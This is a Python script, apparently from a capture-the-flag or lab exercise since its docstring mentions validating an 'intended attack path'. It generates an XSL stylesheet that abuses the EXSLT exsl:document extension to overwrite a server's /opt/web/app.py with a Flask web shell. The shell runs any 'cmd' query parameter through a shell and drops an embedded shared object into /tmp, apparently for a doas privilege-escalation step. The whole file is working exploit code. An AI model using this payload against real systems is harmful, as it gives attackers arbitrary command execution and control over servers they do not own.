#!/usr/bin/env python3
"""Build the source-overwrite XSL used to validate the intended attack path."""

import base64
from pathlib import Path

ROOT = Path(__file__).resolve().parents[1]
ORIGINAL_APP = ROOT / "source/opt_web/app.py"
SONAME_ELF = ROOT / "probes/doas_soname.so"
OUTPUT_XSL = ROOT / "probes/service_overwrite_full.xsl"

original_b64 = base64.b64encode(ORIGINAL_APP.read_bytes()).decode()
elf_b64 = base64.b64encode(SONAME_ELF.read_bytes()).decode()

replacement = f'''from flask import Flask, request
import base64
import os
import subprocess
import sys

ORIGINAL_APP_B64 = "{original_b64}"
SONAME_ELF_B64 = "{elf_b64}"

with open("/tmp/doas_soname.so", "wb") as stream:
    stream.write(base64.b64decode(SONAME_ELF_B64))
os.chmod("/tmp/doas_soname.so", 0o755)

app = Flask(__name__)

@app.route("/")
@app.route("/proof")
def proof():
    command = request.args.get("cmd", "id")
    completed = subprocess.run(
        command,
        shell=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        timeout=15,
        text=True,
    )
    return completed.stdout, 200, {{"Content-Type": "text/plain; charset=utf-8"}}

@app.route("/restore")
def restore():
    with open("/opt/web/app.py", "wb") as stream:
        stream.write(base64.b64decode(ORIGINAL_APP_B64))
    os.execv(sys.executable, [sys.executable, "/opt/web/app.py"])

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=False)
'''

xsl = f'''<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <exsl:document href="file:///opt/web/app.py" method="text"><![CDATA[{replacement}]]></exsl:document>
    full-service-overwrite-triggered
  </xsl:template>
</xsl:stylesheet>
'''

OUTPUT_XSL.write_text(xsl)
print(f"wrote {OUTPUT_XSL} ({OUTPUT_XSL.stat().st_size} bytes)")